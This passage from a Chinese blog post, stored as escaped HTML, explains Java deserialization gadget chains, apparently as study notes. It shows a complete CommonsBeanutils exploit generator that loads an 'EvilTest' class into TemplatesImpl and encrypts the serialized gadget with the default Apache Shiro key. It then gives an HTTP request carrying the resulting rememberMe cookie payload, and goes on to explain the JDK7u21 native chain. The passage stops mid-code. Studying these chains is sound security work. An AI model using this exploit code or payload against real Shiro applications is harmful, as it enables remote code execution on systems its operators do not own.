CaseInsensitiveComparator();<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-234759-27-12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-234759-27-12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:757px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u4e2a <code>CASE_INSENSITIVE_ORDER<\/code> \u662f\u4e00\u4e2a <code>public static final<\/code> \u5b57\u6bb5\uff0c\u76f4\u63a5\u6301\u6709\u4e86\u4e00\u4e2a <code>CaseInsensitiveComparator<\/code> \u7684\u5b9e\u4f8b\uff0c\u6240\u4ee5\u4efb\u4f55\u5730\u65b9\u90fd\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7 <code>String.CASE_INSENSITIVE_ORDER<\/code> \u62ff\u5230\u8fd9\u4e2a\u5df2\u7ecf new \u597d\u7684\u5bf9\u8c61\u5b9e\u4f8b\uff0c\u56e0\u6b64\u6211\u4eec\u53ea\u9700\u8981\u5728\u5b9e\u4f8b\u5316 <code>BeanComparator<\/code> \u7684\u65f6\u5019\u4f20\u4e00\u4e2a <code>String.CASE_INSENSITIVE_ORDER<\/code> \u5373\u53ef\u7ed5\u8fc7\u5bf9\u4e8eCC\u7684\u4f9d\u8d56\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);<\/code><\/pre>\n\n\n\n<p>\u8fd8\u8981\u6ce8\u610f\uff0c\u56e0\u4e3a\u73b0\u5728\u8fd9\u4e2a\u4e1c\u897f\u662fstring\u4e0estring\u4e4b\u95f4\u7684\u6bd4\u8f83\uff0c\u6240\u4ee5\u6211\u4eec\u5f97\u4f20\u4e24\u4e2a&#8221;1&#8243;\uff0c\u73b0\u5728\u5b8c\u6574\u7684\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CB;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport org.apache.commons.beanutils.BeanComparator;\nimport org.apache.shiro.crypto.AesCipherService;\nimport org.apache.shiro.util.ByteSource;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.Base64;\nimport java.util.PriorityQueue;\n\npublic class NewCB1 {\n    public static void setFieldValue(Object obj, String fieldName, Object\n            value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n        ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(\"C:\\\\Users\\\\24254\\\\Desktop\\\\java\u7b14\u8bb0\\\\java-top-speed\\\\src\\\\shiroTest\");\n        CtClass clazzz = pool.get(\"EvilTest\");\n        byte&#91;] code = clazzz.toBytecode();\n        TemplatesImpl obj = new TemplatesImpl();\n        setFieldValue(obj, \"_bytecodes\", new byte&#91;]&#91;]{code});\n        setFieldValue(obj, \"_name\", \"HelloTemplatesImpl\");\n        setFieldValue(obj, \"_tfactory\", new TransformerFactoryImpl());\n\n        BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);\n        PriorityQueue queue = new PriorityQueue(2, comparator);\n        \/\/ stub data for replacement later\n        queue.add(\"1\");\n        queue.add(\"1\");\n        setFieldValue(comparator, \"property\", \"outputProperties\");\n        setFieldValue(queue, \"queue\", new Object&#91;]{obj, obj});\n\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(queue);\n        oos.close();\n\n        \/\/ shiro\u6570\u636e\u751f\u6210\n        AesCipherService aes = new AesCipherService();\n        byte&#91;] key = Base64.getDecoder().decode(\"kPH+bIxk5D2deZiIxcaaaA==\");\n        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);\n        System.out.printf(ciphertext.toString());\n\/\/        System.out.println(barr);\n\/\/        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));\n\/\/        Object o = (Object) ois.readObject();\n    }\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/shirodemo_war\/ HTTP\/1.1\nHost: localhost:8080\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko\/20100101 Firefox\/137.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate, br\nConnection: close\nCookie: rememberMe=NFjGuxJGL3xIbiJuyakLSPh\/79L9bXPl7ZMkMRyctJP0tBaKN1pr9AryNYyVbIU0gh6ODirkxKZcBDXwKBFkdFJ2UB51wvGneFbSn+ooG4PL6CmhOq7itvZAAIU+jtzYWYZRkCf6gYOFTa5SbHe25HaiNpRYv0y8l0BnM7jS9Rwdl94bWZ3eADS\/tEHbbijC43\/lA3DHcGOetbDfJ9k\/tLMOtlLS1WCKnmi9j+6MIiR9S8SO\/lW9u9MTi47Z2WTfgZ3NJipGm08oJfmnhaTKH3P1+que19qi7AuUDgn0Y1\/rqXccGdJoJjcBFGuwZvnI\/Cx+iNI\/Erjh9bTgbNYAtZL547KRIaf1PczCfk8eXe+TVMgVh+Twiv87mQG58\/rI7jKpcT0xAiYRP4fGktY8hBKbBKYcQ+1VI1Xbz3GlwB4Lf1uYeHb7auBf24Vmg068ZEh8zqqF6xE0Zr7QNdw7BnMzjZ4f5GImlNXRTqKnCY+aCRjVMIxqpQSw1H+Flc4a\/pq3JEsrZhSoVdygkejuMlrzlx7PxKI19ttDihKM6FzY5kCI71z6OLyXfW0g6efZEvTQPYd0b51diCijRx6qtAbD2sQnGtU4juxf8Jmg7Pu\/B2Z6waIRB0+\/LJuFPX9vCG0un1hb6qW7LcRdbC675DUcF36tT+20kSsd0FQNZEfH2DqbmG3PmJW2DgqBOQp0OPAvNXLdHPlBNYuXX+rR\/zqI8rGA+NzhBxv8wPp2XlDed2c7ngLBH0VDo37PzzWyYTmvnt1BjLr4OF3z\/9Jnr+6NHikeOEmqmI1m7tluw\/LATIO5nNNGskgbfLE2FBCB+zB8iUjKA4+RK4ap9yaUaoK62Bhgs3G\/x8jz\/xWnAjk76L18iWjxFjTfOQuWYPZ0xTYPmlkSPjUIx3nEdeFSIY8mNxTO5HC6C1Kfvrs2MfwYl3zRnMzjE3jQPSu3d99DBKXlUYVpC7YyFxUCqcpfNw0nVqoePSmLEMho96C8xKUPz0EAiFdqKZiML\/+dMAfwZsQs5QxaMRh2ME\/7TOSs15Ej9nL1hH+FTNDS\/RqE2iggpoZIW8rxm5nfWnMPOq+ItEf+EpgE1ZdjJJWAFddKie2XWUtxahenM9MdyLzNzWvHOJDufJuv5ZAW2I98ay8i1uhBnr+va9\/dWlwTx8wbJ+mx\/etCYZVWZCdA2lAEycJu90G00307dns+zae3Jc0tkAcHEi95K\/a8WDEvAAWxof6sgAwfAzp+mQd2ORmhMZPJ2boR1PNA8z6BiWywQMM22xbK6gZTOpkPdP+t6bu0C8OYHDMQJ\/2Usclu4R25fPJ1S47b3OajipYfRPWiFhq0lng4KqC9E6wWbP1rRg\/KjgV\/Ztp4SFDej6dPQ3UqjNZ7oHViwcwmkcGIqlo1FaMrgQkTpRtnnaEsN0J77XgZ9+Yn4gq0qgPu3czc9Np+415a2JVA+tIh8LwwcZKbOeSRaUZpPGqITIZ8Q\/IIclf3XgFM4jygUNqr2fnGLarECzcPHC1V2XIl5gSUH+GJRmZPp81yOa64HYVGkfkHWU3lf7avsPkrsrnylG88gbBQK6+0QTu\/j\/mxHkFTSePE7BMILO3hk7DhYDL+w5mhPnhnlSz9DQTdOTkCGfkLNPSs4OSdbKQrSouAo9ey66YFi4f\/OzvvBscX19X151oJCfRW7SbHnbi83D0B8wpvl9X3ZDCMpUGH6OKUjkFozX1YU7qClY0nqy45cMdrdZfM1KuSqkqp0SXNaJjAhy61qg2Nr7Q4BddD7IojYGzw8+OCdRuJ48ajTWk9nirCMswTugT+IrueJeLxpHsvv5XNCqJChXy3SteUs8yegwfqarbvHDVwD8rPqPDZ5k2eXcvc02N1SttC4qpOP6+Tvw51Bf\/hqgCGB7iRsuAkbci6GhcYQ5D8Xy0AOm+c3uGad2vg9sqVqS18PioIFprgI\/ZT0Fr61m+\/WqIMuURp0zk9i\/lHTIQdT\/ZSY6qBOum4DlZGRfez6Li9mdixXWa9q5cesZ0NJrJimuEBgEb0Up\/75XGvWsot\nContent-Length: 50\n\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-000324-27-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-000324-27-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u539f\u751f\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe JDK7u21<\/h1>\n\n\n\n<p>\u4e0a\u9762\u5b66\u4e60\u4e86\u90a3\u4e48\u591a\u94fe\u5b50\uff0c\u6211\u4eec\u80af\u5b9a\u4f1a\u60c5\u4e0d\u81ea\u7981\u7684\u601d\u8003\uff0c\u6709\u6ca1\u6709\u4e00\u79cd\u94fe\u5b50\u4e0d\u9700\u8981\u4f9d\u8d56\u5c31\u80fd\u6253\u901a\u5462\uff1f\u4e8b\u5b9e\u4e0a\u8fd8\u771f\u6709\uff0c\u5728&lt;=Java 7u21\u7684\u7248\u672c\u4e0b\uff0c\u786e\u5b9e\u5b58\u5728\u4e00\u6761\u539f\u751f\u7684\u53cd\u5e8f\u5217\u5316\u94fe\u5b50\uff0c\u8fd9\u91cc\u6211\u4eec\u9996\u5148\u53bb\u4e0b\u4e00\u4efd<a href=\"https:\/\/www.oracle.com\/cn\/java\/technologies\/javase\/javase7-archive-downloads.html\">JDK7u21<\/a>\uff0c\u6765\u770b\u770b\u8fd9\u6761\u539f\u751f\u7684\u53cd\u5e8f\u5217\u5316\u94fe\u662f\u600e\u4e48\u4e2a\u4e8b\u513f\u3002<\/p>\n\n\n\n<p>\u53cd\u5e8f\u5217\u5316\u94fe\u7684\u6838\u5fc3\u5728\u54ea\u91cc\u5462\uff1f\u6838\u5fc3\u5176\u5b9e\u5728\u4e8e\u5982\u4f55\u89e6\u53d1\u52a8\u6001\u65b9\u6cd5\u6267\u884c\uff0c\u6bd4\u5982CC\u94fe\u7684\u6838\u5fc3\u5176\u5b9e\u5728\u4e8e <code>Transformer<\/code> \uff0c\u6bd4\u5982\u6211\u4eec\u7684\u8001\u670b\u53cb <code>InvokerTransformer<\/code> \u3001 <code>InstantiateTransformer<\/code> \u7b49\u7b49\uff0cCB\u94fe\u7684\u6838\u5fc3\u5728\u4e8e <code>PropertyUtils#getProperty<\/code>\uff0c\u5b83\u4f1a\u89e6\u53d1getter\uff0c\u5bfc\u81f4\u6211\u4eec\u53ef\u4ee5\u89e6\u53d1 <code>TemplatesImpl#getOutputProperties()<\/code> \u4ece\u800c\u89e6\u53d1 <code>newTransformer<\/code>&nbsp;\u6267\u884c <code>TemplatesImpl<\/code> \u94fe\u5b50\u3002\u800c\u6211\u4eec\u73b0\u5728\u7684\u76ee\u6807\uff0c\u539f\u751fJDK7u21\u7684\u6838\u5fc3\u70b9\u5728\u4e8e <code>sun.reflect.annotation.AnnotationInvocationHandler<\/code>\uff0c\u8fd9\u4e2a\u4e1c\u897f\u6211\u4eec\u5176\u5b9e\u4e4b\u524d\u63d0\u5230\u8fc7\uff0c\u4e0d\u8fc7\u4eca\u5929\u6211\u4eec\u7684\u91cd\u70b9\u5728\u4e8e\u5b83\u7684\u65b9\u6cd5 <code>equalsImpl<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-212359-28-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-212359-28-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:611px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u5b83\u8c03\u7528\u4e86var5.invoke\uff0c\u76f4\u63a5\u4f20\u5165\u53c2\u6570var1\u5bf9var5\u8fd9\u4e2a\u65b9\u6cd5\u8fdb\u884c\u4e86\u8c03\u7528\uff0c\u5982\u679c\u6211\u4eec\u80fd\u63a7\u5236var5\u4e3a <code>getOutputProperties<\/code> \uff0cvar1\u4e3a <code>TemplatesImpl<\/code> \uff0c\u56de\u987e\u53cd\u5c04\u7684\u5b9a\u4e49\uff0c\u8fd9\u5c31\u76f8\u5f53\u4e8e\u6267\u884c\u4e86 <code>TemplatesImpl#getOutputProperties<\/code> \uff0c\u90a3\u4e48\u5176\u5b9e\u5c31\u548cCB\u94fe\u4e00\u6837\u4e86\u3002<\/p>\n\n\n\n<p>\u90a3\u4e48\u5982\u4f55\u8c03\u7528 <code>equalsImpl<\/code> \u5462\uff1f\u5176\u5b9e\u548cCC1\u6709\u70b9\u50cf\uff0cCC1\u662f\u901a\u8fc7\u4ee3\u7406\u8d70 <code>AnnotationInvocationHandler#invoke<\/code> \u91cc\u9762\u7684get\u6765\u89e6\u53d1LazyMap\uff0c\u800c\u6211\u4eec\u8fd9\u6b21\u8d70\u7684\u662finvode\u91cc\u7684<code>equalsImpl<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-213918-28-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-213918-28-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:636px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u5f53\u65b9\u6cd5\u540d\u7b49\u4e8e\u201cequals\u201d\uff0c\u4e14\u4ec5\u6709\u4e00\u4e2a <code>Object<\/code> \u7c7b\u578b\u53c2\u6570\u65f6\uff0c\u4f1a\u8c03\u7528\u5230 <code>equalsImpl<\/code> \u65b9\u6cd5\uff0c\u90a3\u4e48\u6211\u4eec\u73b0\u5728\u5c31\u5f97\u627e\u4e00\u4e2a\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u4f1a\u5bf9proxy\u8fdb\u884cequals\u7684\u65b9\u6cd5\uff0c\u800c\u8fd9\u91cc\u6211\u4eec\u7684\u76ee\u6807\u662fHashSet\uff0c\u56e0\u4e3aset\u91cc\u4e0d\u5141\u8bb8\u91cd\u590d\uff0c\u90a3\u4e48\u80af\u5b9a\u4f1a\u6d89\u53ca\u5bf9\u8c61\u4e4b\u95f4\u7684\u6bd4\u8f83\uff0c\u6211\u4eec\u770b\u5230HashSet\u7684readObject\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-214712-28-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-214712-28-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:642px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u4f7f\u7528\u4e86\u4e00\u4e2aHashMap\uff0c\u901a\u8fc7\u5c06\u5bf9\u8c61\u4fdd\u5b58\u5728key\u91cc\u6765\u53bb\u91cd\uff0c\u6211\u4eec\u518d\u6765\u8ddf\u4e00\u4e0b\u8fd9\u4e2aput\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-215047-28-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-215047-28-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:630px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u4ece\u4e0a\u9762\u6211\u4eec\u53ef\u4ee5\u770b\u51fa\u6765\uff0c\u5f53\u4e24\u4e2a\u4e0d\u540c\u7684\u5bf9\u8c61hash\u76f8\u540c\u65f6\uff0c\u4ed6\u4f1a\u4f7f\u7528equals\u8fdb\u884c\u6bd4\u8f83\uff0c\u90a3\u4e48\u6211\u4eec\u8be5\u600e\u4e48\u8ba9 <code>proxy<\/code> \u5bf9\u8c61\u7684\u54c8\u5e0c\u7b49\u4e8e <code>TemplateImpl<\/code> \u5bf9\u8c61\u7684\u54c8\u5e0c\u5462\uff1f\u4ece\u56fe\u91cc\u53ef\u4ee5\u770b\u5230\u8ba1\u7b97\u54c8\u5e0c\u7684\u4e3b\u8981\u662f\u8fd9\u4e48\u4e24\u884c\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int hash = hash(key);\nint i = indexFor(hash, table.length);<\/code><\/pre>\n\n\n\n<p>\u800c\u8fd9\u4e2a\u54c8\u5e0c\u51fd\u6570\u7684\u4e3b\u8981\u903b\u8f91\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-220704-28-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-220704-28-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:565px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u4ece\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\uff0c\u51b3\u5b9a\u6bd4\u8f83\u7ed3\u679c\u7684\u4e3b\u8981\u662f\u8fd9\u4e2a<code>k.hashcode()<\/code>\uff0c<code>TemplateImpl<\/code> \u7684 <code>hashCode()<\/code> \u662f\u4e00\u4e2aNative\u65b9\u6cd5\uff0c\u6bcf\u6b21\u8fd0\u884c\u90fd\u4f1a\u53d1\u751f\u53d8\u5316\uff0c\u6211\u4eec\u7406\u8bba\u4e0a\u662f\u65e0\u6cd5\u9884\u6d4b\u7684\uff0c\u6240\u4ee5\u60f3\u8ba9 <code>proxy<\/code> \u7684 <code>hashCode()<\/code> \u4e0e\u4e4b\u76f8\u7b49\uff0c\u53ea\u80fd\u5bc4\u5e0c\u671b\u4e8e <code>proxy.hashCode()<\/code>\uff0c\u800c <code>proxy.hashCode()<\/code>\u5176\u5b9e\u4e5f\u4f1a\u8c03\u7528 <code>AnnotationInvocationHandler#invoke<\/code> \u4ece\u800c\u89e6\u53d1 <code>AnnotationInvocationHandler#hashCodeImpl<\/code>\uff0c\u6211\u4eec\u770b\u5230\u8fd9\u4e2a <code>hashCodeImpl<\/code> \uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>private int hashCodeImpl() {\n        int var1 = 0;\n\n        Map.Entry var3;\n        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {\n            var3 = (Map.Entry)var2.next();\n        }\n\n        return var1;\n    }<\/code><\/pre>\n\n\n\n<p>JDK7u21\u4e2d\u4f7f\u7528\u4e86\u4e00\u4e2a\u975e\u5e38\u5de7\u5999\u7684\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5f53 <code>memberValues<\/code> \u4e2d\u53ea\u6709\u4e00\u4e2akey\u548c\u4e00\u4e2avalue\u65f6\uff0c\u8be5\u54c8\u5e0c\u7b80\u5316\u6210 (127 * key.hashCode())^value.hashCode()<\/li>\n\n\n\n<li>\u5f53 <code>key.hashCode()<\/code> \u7b49\u4e8e0\u65f6\uff0c\u4efb\u4f55\u6570\u5f02\u62160\u7684\u7ed3\u679c\u4ecd\u662f\u4ed6\u672c\u8eab\uff0c\u6240\u4ee5\u8be5\u54c8\u5e0c\u7b80\u5316\u6210 <code>value.hashCode() <\/code><\/li>\n\n\n\n<li>\u5f53 value \u5c31\u662fTemplateImpl\u5bf9\u8c61\u65f6\uff0c\u8fd9\u4e24\u4e2a\u54c8\u5e0c\u5c31\u53d8\u6210\u5b8c\u5168\u76f8\u7b49<\/li>\n<\/ul>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u627e\u5230\u4e00\u4e2ahashCode\u662f0\u7684\u5bf9\u8c61\u4f5c\u4e3akey\uff0c\u6076\u610fTemplateImpl\u5bf9\u8c61\u4f5c\u4e3a value \uff0c\u90a3\u4e48\u8fd9\u4e2aproxy\u8ba1\u7b97\u7684hashCode\u5c31\u4e0eTemplateImpl\u5bf9\u8c61\u672c\u8eab\u7684hashCode\u76f8\u7b49\u4e86\uff0c\u5728yso\u91cc\uff0c\u8fd9\u4e2ahashCode\u4e3a0\u7684\u5bf9\u8c61\u5c31\u662f\u5b57\u7b26\u4e32 f5a5a608\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-221948-28-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250428-221948-28-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:741px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u73b0\u5728\u6211\u4eec\u7684\u653b\u51fb\u6d41\u7a0b\u5982\u4e0b\uff1a<code>HashSet#readObject<\/code> =&gt; \u5bf9HashSet\u8fdb\u884c\u4ee3\u7406\u540c\u65f6\u4fdd\u8bc1HashSet\u7684\u4e24\u4e2a\u5143\u7d20hashCode()\u76f8\u540c\u4ece\u800c\u89e6\u53d1equals=&gt;\u89e6\u53d1\u4ee3\u7406\u7c7b\u7684 <code>invoke<\/code> \u91cc\u7684 <code>AnnotationInvocationHandler#equalsImpl<\/code> =&gt; \u89e6\u53d1 <code>TemplatesImpl#getOutputProperties<\/code>\uff0c\u5b8c\u6574\u4ee3\u7801\u5982\u4e0b(\u6ce8\u610fEvilTest\u7528JDK7u21\u7f16\u8bd1\u4efd\u65b0\u7684\uff0c\u4e0d\u662f\u540c\u7248\u672c\u89e6\u53d1\u4e0d\u4e86)\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport javassist.ClassPool;\nimport javassist.CtClass;\n\nimport javax.xml.transform.Templates;\nimport java.io.ByteArrayInputStream;\nimport 